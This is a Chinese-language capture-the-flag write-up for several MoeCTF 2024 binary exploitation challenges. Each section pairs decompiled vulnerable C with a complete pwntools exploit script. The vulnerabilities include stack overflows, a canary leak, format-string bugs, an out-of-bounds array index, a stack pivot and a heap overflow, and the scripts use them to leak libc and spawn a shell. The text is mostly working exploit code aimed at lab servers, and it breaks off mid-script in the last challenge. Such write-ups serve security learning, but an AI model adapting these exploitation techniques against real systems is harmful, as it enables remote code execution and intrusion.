  v7 = read(0, buf, 0x17uLL);
  if ( v7 <= 0 )
  {
    puts("Can you hear me?");
    _exit(1);
  }
  buf[v7 - 1] = 0;
  printf("Hello %s, nice to meet you. Where do you come from?\n> ", buf);
  v7 = read(0, v6, nbytes);
  if ( v7 <= 0 )
  {
    puts("Can you hear me?");
    _exit(1);
  }
  v6[v7 - 1] = 0;
  printf("%s... That's a beautiful place.\n", v6);
  return 0;
}

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./dialogue')
    gdb.attach(r,"b * 0x04012de")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')
    

elf = ELF('./dialogue')

r.sendline('a'*18)
r.recvuntil("from?")
r.sendline(cyclic(40)+p64(0xdeadbeef)+p64(0x401040)+p64(0x4011e1))

r.recvuntil(" place.\n")

funlockfile = u64(r.recv(6)+"\x00\x00")
log.success("funlockfile:"+hex(funlockfile))
libc_addr = funlockfile -libc.symbols['funlockfile']
log.success("libc_addr:"+hex(libc_addr))

r.sendline('a'*18)
r.recvuntil("from?")
r.sendline(cyclic(40)+p64(0)+p64(0x40101a)+p64(libc_addr+0x2a3e5)+p64(libc_addr+libc.search("/bin/sh").next())+p64(libc_addr+libc.symbols["system"]))

r.interactive()

Read_once_twice!

题目两次溢出,第一次泄漏canary,第二次溢出跳到后门,由于开启了pie,需要爆破。

unsigned __int64 vuln()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  write(1, "What can you do when almost all protections are turned on?\n", 0x3BuLL);
  read(0, buf, 0x30uLL);
  puts(buf);
  write(1, "If I give you one more chance...\n", 0x21uLL);
  read(0, buf, 0x30uLL);
  return v2 - __readfsqword(0x28u);
}

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./twice')
    gdb.attach(r,"b * $rebase(0x012c4)")
else:
    r = remote('192.168.248.1',1212)
    

elf = ELF('./twice')

r.recvuntil("ed on?\n")
r.send('a'*24+'b')
r.recvuntil("aaab")
canary = u64('\x00'+r.recv(7))
log.success("canary:"+hex(canary))
stack = u64(r.recv(6)+'\x00\x00')

r.send('a'*24+p64(canary)+p64(stack)+"\xad\x11")

r.interactive()

Where is fmt?

格式化字符串漏洞,但是字符串不在栈内,需要微操栈内二级指针去对栈内内容进行修改。

int vuln()
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]

  puts("Welcome to MoeCTF 2024!");
  result = puts("You will have 3 chances to exploit... But where is my fmt?");
  for ( i = 3; i > 0; --i )
  {
    printf("\nYou have %d chances.\n", (unsigned int)i);
    read(0, buf, 0x100uLL);
    result = printf(buf);
  }
  return result;
}

只有三次格式化字符串漏洞利用机会,此题我没看到后门,硬从栈内撕了一个符合条件的one_gadgetgetshell。
exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./WhereIsFmt')
    #gdb.attach(r,"b * 0x4012BF")
    gdb.attach(r,"b * 0x40128b")
else:
    r = remote('192.168.248.1',1212)
    

elf = ELF('./WhereIsFmt')

r.send("%8$p%11$p")
r.recvuntil("ces.\n")

stack = int(r.recv(14),16)
libc = int(r.recv(14),16)
log.success("stack:"+hex(stack))
log.success("libc:"+hex(libc))

libc_addr = libc - 0x29d90
target = (stack - 0x14) % 0x10000

r.recvuntil(" chances.")
r.send("%"+str(target)+"c%15$hn")
r.recvuntil(" chances.")
r.send("9999999%45$hn") # 修改次数,获取更多机会,正常在这里直接将返回地址改为后门即可getshell
ogg = libc_addr + 0xebc85

ogg1 = ogg % 0x10000
ogg2 = (ogg >> 16) % 0x100
r.recvuntil(" chances.")
target += 28
r.send("%"+str(target)+"c%15$hn")
r.recvuntil(" chances.")
r.send("%"+str(ogg1)+"c%45$hn")
r.recvuntil(" chances.")
target = (target + 2) % 0x100
r.send("%"+str(target)+"c%15$hhn")
r.recvuntil(" chances.")
r.send("%"+str(ogg2)+"c%45$hhn")

#r.recvuntil(" chances.")
log.info("ogg2:"+hex(ogg2))
log.success("ogg:"+hex(ogg))

target = target -9
r.send("%"+str(target)+"c%15$hhn")
r.recvuntil(" chances.")
r.send("%"+str(0x4041)+"c%45$hn")


r.interactive()

Got it!

vuln()函数存在数组越界。

unsigned __int64 calc()
{
  int v1; // [rsp+8h] [rbp-18h] BYREF
  int v2; // [rsp+Ch] [rbp-14h] BYREF
  __int64 v3; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts("Which archive do you want to use?");
  __isoc99_scanf("%u", &v1); //漏洞点
  now_save = &saves[8 * v1];
  menu_calu();
  while ( 1 )
  {
    printf("> ");
    __isoc99_scanf("%d", &v2);
    if ( v2 == 5 )
      return v4 - __readfsqword(0x28u);
    printf("Operand: ");
    __isoc99_scanf("%ld", &v3);
    if ( v2 == 4 )
    {
      *now_save /= v3;
    }
    else
    {
      if ( v2 > 4 )
        goto LABEL_13;
      switch ( v2 )
      {
        case 3:
          *now_save *= v3;
          break;
        case 1:
          *now_save += v3;
          break;
        case 2:
          *now_save -= v3;
          break;
        default:
LABEL_13:
          puts("Invalid choice.");
          break;
      }
    }
  }
}

先将/bin/sh字符串写入到saves处。

r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('0')
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("Operand: ")
r.sendline(str(u64("/bin/sh\x00")))
r.recvuntil("> ")
r.sendline('5')

再通过数组越界将now_save的地址写入到now_save中构造重合指针构造任意地址可修改,将now_save内的地址修改为puts_got。
再将puts_got内的puts绝对地址改为system的绝对地址,退出构造成system("/bin"sh")
exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./GotIt')
    gdb.attach(r,"b * $rebase(0x013A7)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')
    

elf = ELF('./GotIt')

r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('0')
r.recvuntil("> ")
r.sendline('1')
r.recvuntil("Operand: ")
r.sendline(str(u64("/bin/sh\x00")))
r.recvuntil("> ")
r.sendline('5')


r.recvuntil("Exit\n")
r.sendline('1')
r.recvuntil("use?\n")
r.sendline('16')
r.recvuntil("> ")
r.sendline('2')
r.recvuntil("Operand: ")
r.sendline(str(0x100))

r.recvuntil("> ")
r.sendline('2')
r.recvuntil("Operand: ")
r.sendline(str(0x300e0))
r.recvuntil("> ")
r.sendline('5')

r.recvuntil("Welcome")
r.sendline('3')

r.interactive()

栈的奇妙之旅

vuln()函数存在栈溢出,只能溢出一个字符。溢出三次,第一次溢出修改rbp的值,第二次溢出向bss段写入内容并栈迁移泄漏libc,第三次溢出执行system("/bin/sh")

ssize_t vuln()
{
  char buf[128]; // [rsp+0h] [rbp-80h] BYREF

  puts("16 bytes can you kill me?");
  return read(0, buf, 0x90uLL);
}

exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./TravelOfStack')
    gdb.attach(r,"b * 0x4011FC")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')
    

elf = ELF('./TravelOfStack')

rdi = 0x4011c5

r.recvuntil("me?")
r.send('a'*128+p64(0x404200)+p64(0x4011D6))
r.recvuntil("me?\n")
r.send(p64(0x404900)+p64(rdi)+p64(elf.got['puts'])+p64(0x401060)+p64(0x4011D6)+cyclic(128-0x28)+p64(0x404180)+p64(0x4011FC))

puts = u64(r.recv(6)+"\x00\x00")
log.success("puts:"+hex(puts))

libc_addr = puts - libc.symbols["puts"]
system = libc_addr + libc.symbols["system"]
binsh = libc_addr + libc.search("/bin/sh").next()

r.send(p64(0x404300)+p64(0x40101a)+p64(rdi)+p64(binsh)+p64(system)+p64(0x4011D6)+cyclic(128-0x30)+p64(0x404880)+p64(0x4011FC))

r.interactive()

One Chance!

vuln()函数存在格式化字符串漏洞,给了栈地址,只有一次机会,格式化字符串的位置不在栈内。

unsigned __int64 vuln()
{
  __int64 v1; // [rsp+0h] [rbp-10h] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0LL;
  printf("gift: %p\n", &v1);
  puts("You will have only one chance!");
  read(0, buf, 0x100uLL);
  printf(buf);
  return v2 - __readfsqword(0x28u);
}

没有一点思路,直到看到一篇大佬的文章https://zikh26.github.io/posts/a523e26a.html
大致原理为,如果你不用$指定格式化字符串的参数,而是用%依次调用后面的参数,printf()函数也会依次处理每个格式化字符而不是一起全部处理掉。这样就有机会利用栈内的栈二级指针伪造出指向函数返回地址的指针。
exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./OneChance')
    gdb.attach(r,"b * $rebase(0x12A1)")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')
    

elf = ELF('./OneChance')

r.recvuntil("gift: ")
stack = int(r.recv(14),16)

log.success("stack:"+hex(stack))

target = (stack) % 0x10000
r.send("%p"*13+"%"+str(target-138+0x18)+"c%hn%"+str(0x108-(target % 0x100)-24)+"c%45$hhn")
#r.send("%20$p")

r.interactive()

Goldenwing

practice()函数存在数值溢出。

unsigned __int64 practice()
{
  int v1; // [rsp+0h] [rbp-10h] BYREF
  int v2; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v3; // [rsp+8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  puts("Here you can be stronger");
  if ( flag )
  {
    puts("You are strong enough...");
  }
  else
  {
    v1 = 0;
    v2 = 0;
    puts("How much hp you want to grow?");
    __isoc99_scanf("%d", &v1);
    puts("How much power you want to grow?");
    __isoc99_scanf("%d", &v2);
    if ( v1 <= 100 && v2 <= 10 )
    {
      Player += v1;
      dword_404084 += v2;
      flag = 1;
      puts("Done!");
    }
    else
    {
      puts("That's too much...");
    }
  }
  return v3 - __readfsqword(0x28u);
}

success()存在格式化字符串漏洞,可利用两次。

int success()
{
  int result; // eax
  int i; // [rsp+Ch] [rbp-4h]

  puts("You win!");
  result = puts("You get two magic from Goldenwing, how will you use them?");
  for ( i = 0; i <= 1; ++i )
  {
    memset(magic, 0, sizeof(magic));
    read(0, magic, 0x100uLL);
    printf("magic%d: ", (i + 1));
    printf(magic);
    result = putchar(10);
  }
  return result;
}

god()可以向栈内写入指针供格式化字符串漏洞使用。

ssize_t __fastcall god(void *a1)
{
  puts("You found 0xcafebabe, and he gave you a secret book.");
  puts("Maybe you can write some secret code here?");
  return read(0, a1, 0x20uLL);
}

exp如下

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 0
if local == 1:
    r=process('./goldenwing')
    gdb.attach(r,"b * 0x04015F4")
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')

elf = ELF('./goldenwing')

r.sendline("")
r.recvuntil("Choice> ")
r.sendline(str(0xCAFEBABE))

r.recvuntil("here?")
r.send(p64(elf.got["putchar"])+p64(elf.got["sleep"])+p64(elf.got["putchar"]+2))

r.recvuntil("Choice> ")
r.sendline("2")

r.recvuntil("grow?")
r.sendline("-10000")
r.recvuntil("grow?")
r.sendline("-10000")

r.recvuntil("Choice> ")
r.sendline("3")

r.recvuntil("hem?")
r.sendline("%17$s")

r.recvuntil("magic1: ")

sleep = u64(r.recv(6)+"\x00\x00")
log.success("sleep:"+hex(sleep))
libc_addr = sleep - libc.symbols["sleep"]
ogg = libc_addr + 0xebc85
ogg0 = ogg % 0x10000
ogg1 = (ogg >> 16) % 0x100
log.info("ogg:"+hex(ogg))
r.sendline("%"+str(ogg1)+"c%18$hhn%"+str(ogg0-ogg1)+"c%16$hn")


r.interactive()

luosh

题目说没有堆利用,但是我感觉不利用做不上。parse()函数存在溢出漏洞,可溢出覆盖inode_list内的指针,配合cat()函数可实现任意地址读,配合echo()函数可实现libc以下的任意地址写。

__int64 __fastcall parse(char *a1)
{
  int v2; // eax
  unsigned int v3; // [rsp+10h] [rbp-10h]
  int i; // [rsp+14h] [rbp-Ch]
  const char *s2; // [rsp+18h] [rbp-8h]
  const char *s2a; // [rsp+18h] [rbp-8h]

  s2 = strtok(a1, " ");
  v3 = -1;
  for ( i = 0; i <= 5; ++i )
  {
    if ( !strcmp((&command_list)[3 * i], s2) )
    {
      v3 = i;
      break;
    }
  }
  if ( v3 == -1 )
  {
    printf("No such command %s.\n", s2);
    return 0xFFFFFFFFLL;
  }
  else
  {
    nargs = 0;
    while ( 1 )
    {
      s2a = strtok(0LL, " ");
      if ( !s2a )
        break;
      if ( strlen(s2a) > 0x1F )
      {
        puts("Args too long.");
        return 0xFFFFFFFFLL;
      }
      v2 = nargs++;
      strcpy(&arg_list[32 * v2], s2a); //这里有溢出漏洞
    }
    if ( nargs <= 10 )
    {
      return v3;
    }
    else
    {
      puts("Too many args.");
      return 0xFFFFFFFFLL;
    }
  }
}

先释放几个tcache获取堆地址

s("touch aaa")
s("echo bbbbbbbb > aaa ")
s("touch bbbbbbbb\x91")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("touch ccc")
s("touch dddddddddddddddddddddddd\x11")
s("echo bbbbbbbb > ccc ")

s("touch a")
s("echo bbbbbbbb > a")
s("touch b")
s("echo bbbbbbbb > b")
s("touch c")
s("echo bbbbbbbb > c")
s("touch d")
s("echo bbbbbbbb > d")

s("rm a")
s("rm b")
s("rm c")
s("rm d")
s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ")
s("echo bbbbbbbb > bbbbbbbb\x91 ")

s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ")



s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ")


s("rm ccc")
s("cat bbbbbbbb\x91")


heap = u64(r.recv(5)+"\x00\x00\x00") << 12
log.info("heap:"+hex(heap))

向堆地址内构造fake_large_chunk释放,获取libc地址。

s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0))

s("echo aaaaaaaa\x21\x04 > aaa\x00")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x4c0))

s("echo aaaaaaaa\x31 > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40))
s("echo aaa > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("rm aaa")


s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x40))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))

s("cat aaa")

libcs = u64(r.recv(6)+"\x00\x00")
log.info("libc:"+hex(libcs))
libc_addr = libcs- 0x21ace0

在调用luosh()时,命令luofuck时,可数组越界执行其他地址。

void __noreturn luosh()
{
  char s1[520]; // [rsp+10h] [rbp-210h] BYREF
  unsigned __int64 v1; // [rsp+218h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  puts("Welcome using luosh!");
  while ( 1 )
  {
    printf("luo ~> ");
    read_line(s1, 0x200uLL);
    if ( strcmp(s1, "luofuck") || idx == -1 )
      idx = parse(s1);
    else
      puts("fucked by luo!");
    if ( idx != -1 )
    {
      if ( *(&unk_3CD0 + 6 * idx) <= nargs )
        (*(&funcs_1C6E + 3 * idx))(arg_list);
      else
        puts("Missing args.");
    }
  }
}

选择one_gadget

0x10d9c2 posix_spawn(rsp+0x64, "/bin/sh", [rsp+0x40], 0, rsp+0x70, [rsp+0xf0])
constraints:
  [rsp+0x70] == NULL
  [[rsp+0xf0]] == NULL || [rsp+0xf0] == NULL
  [rsp+0x40] == NULL || (s32)[[rsp+0x40]+0x4] <= 0

构造one_gadget并执行,最终exp如下。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.arch = 'amd64'
local = 1
if local == 1:
    r=process('./luosh')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    r = remote('192.168.248.1',1212)
    libc = ELF('./libc.so.6')
    
def dbg():
    if local == 1:
        gdb.attach(r,"b * $rebase(0x01c6e)")

elf = ELF('./luosh')

def s(sh):
    r.recvuntil("luo ~> ")
    r.sendline(sh)
    
s("touch aaa")
s("echo bbbbbbbb > aaa ")
s("touch bbbbbbbb\x91")
s("echo bbbbbbbb > bbbbbbbb\x91 ")
s("touch ccc")
s("touch dddddddddddddddddddddddd\x11")
s("echo bbbbbbbb > ccc ")

s("touch a")
s("echo bbbbbbbb > a")
s("touch b")
s("echo bbbbbbbb > b")
s("touch c")
s("echo bbbbbbbb > c")
s("touch d")
s("echo bbbbbbbb > d")

s("rm a")
s("rm b")
s("rm c")
s("rm d")


s("echo bbbbbbbb > dddddddddddddddddddddddd\x11 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bbb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a bb ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a \x01 ")
s("echo bbbbbbbb > bbbbbbbb\x91 ")

s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01\x01")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01\x01 ")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01\x01 ")



s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"\x01 "+"\x01 "+"\x01 ")


s("rm ccc")
s("cat bbbbbbbb\x91")

heap = u64(r.recv(5)+"\x00\x00\x00") << 12
log.info("heap:"+hex(heap))


s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*16+p64(heap+0x2a0))
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*15)
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xb0))

s("echo aaaaaaaa\x21\x04 > aaa\x00")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x4c0))

s("echo aaaaaaaa\x31 > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0x40))
s("echo aaa > aaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"a"*8+p64(heap+0xc0))
s("rm aaa")


s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaaaa")
s("echo bbbbbbbb > aaa "+"a"*0x1+" "+"b"*0x1+" "+"c"*0x1+" "+"d"*0x1+" "+"e"*0x1+" "+"f"*0x1+" "+"g"*0x1+" "+"aaaaaaaaaaaaaaaaaaaaaaa")
